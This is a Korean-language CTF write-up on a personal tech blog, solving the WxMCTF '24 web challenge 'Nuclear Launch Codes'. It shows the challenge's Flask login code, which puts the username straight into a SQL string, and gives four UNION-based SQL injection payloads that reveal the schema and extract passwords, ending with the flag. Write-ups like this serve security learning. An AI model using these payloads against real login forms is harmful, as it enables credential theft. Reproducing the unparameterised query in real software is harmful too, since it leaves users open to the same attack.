이 영역을 누르면 첫 페이지로 이동
SH1R0_0의 기술블로그 블로그의 첫 페이지로 이동

SH1R0_0의 기술블로그

페이지 맨 위로 올라가기

SH1R0_0의 기술블로그

[web] Nuclear Launch Codes

  • 2024.03.11 17:17
  • 🚩 CTF Writeup/WxMCTF '24

 

 

📌 Intro

Blind SQL Injection

MGCI's cybersecurity club has hired you to test their site security for nuclear launch codes. Unfortunately, they forgot to give you any log-in credentials, and they haven't implemented registration features yet! Can you find the nuclear launch codes?

 

 

🔬 Analysis

# app.py
@app.route('/login_username', methods=['POST'])
def login():
    username = request.form['username']
    conn = sqlite3.connect('users.db')
    c = conn.cursor()
    user_info = c.execute(f"SELECT username FROM users WHERE username='{username}'").fetchall()
    if not user_info:
        flash('Who are you?', 'error')
    else:
        flash(f'Welcome back, {user_info}', 'success')
    return render_template('index.html')

username에 대해 별도의 검증 과정을 거치는 로직이 존재하지 않아 SQL Injection 취약점이 발생한다.

 

🎉 Exploit

1. SQLite 버전 확인

1' union select sqlite_version()--

 

2. 테이블 명 확인

1' union select tbl_name from sqlite_master--

 

3. "users" 테이블의 컬럼명과 데이터 타입 확인

1' union select sql from sqlite_master where tbl_name="users"--

 

4. "users" 테이블의 컬럼 정보 출력

1' union select password from users--

 

 

🚩 Flag

wxmctf{j0k35_0n_y0u_th3r3_4r3_n0_nucl34r_l4nch_c0d35}

'🚩 CTF Writeup > WxMCTF '24' 카테고리의 다른 글

[rev] Binary Conspicuous Digits  (0) 2024.03.12
[web] Walmart!  (0) 2024.03.11
[Web] Brawl: The Heist  (0) 2024.03.11

댓글

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • [rev] Binary Conspicuous Digits

    [rev] Binary Conspicuous Digits

    2024.03.12
  • [web] Walmart!

    [web] Walmart!

    2024.03.11
  • [Web] Brawl: The Heist

    [Web] Brawl: The Heist

    2024.03.11
다른 글 더 둘러보기

정보

SH1R0_0의 기술블로그 블로그의 첫 페이지로 이동

SH1R0_0의 기술블로그

  • SH1R0_0의 기술블로그의 첫 페이지로 이동

검색

메뉴

  • 홈
  • 태그
  • 방명록

카테고리

  • 분류 전체보기 (33)
    • 📖 Study (11)
      • Crypto (0)
      • WebHacking (3)
      • Reversing (0)
      • Pwnable (1)
      • Develop & CS (1)
      • Android (4)
      • Etc (2)
    • 🚩 CTF Writeup (14)
      • SSTF 2023 (8)
      • osu!gaming CTF 2024 (2)
      • WxMCTF '24 (4)
      • KalmarCTF 2024 (0)
    • 🎮 Dreamhack Writeup (8)
      • Web (7)
      • Pwnable (1)

최근 글

인기 글

댓글

공지사항

  • 공지 - 박민혁 (SH1R0_0)

아카이브

태그

나의 외부 링크

  • 관리자
  • 글쓰기
  • 공부

정보

SHIR0_0의 SH1R0_0의 기술블로그

SH1R0_0의 기술블로그

SHIR0_0

블로그 구독하기

  • 구독하기
  • RSS 피드

방문자

  • 전체 방문자
  • 오늘
  • 어제

티스토리

  • 티스토리 홈
  • 이 블로그 관리하기
  • 글쓰기
Powered by Tistory / Kakao. Copyright © SHIR0_0.

티스토리툴바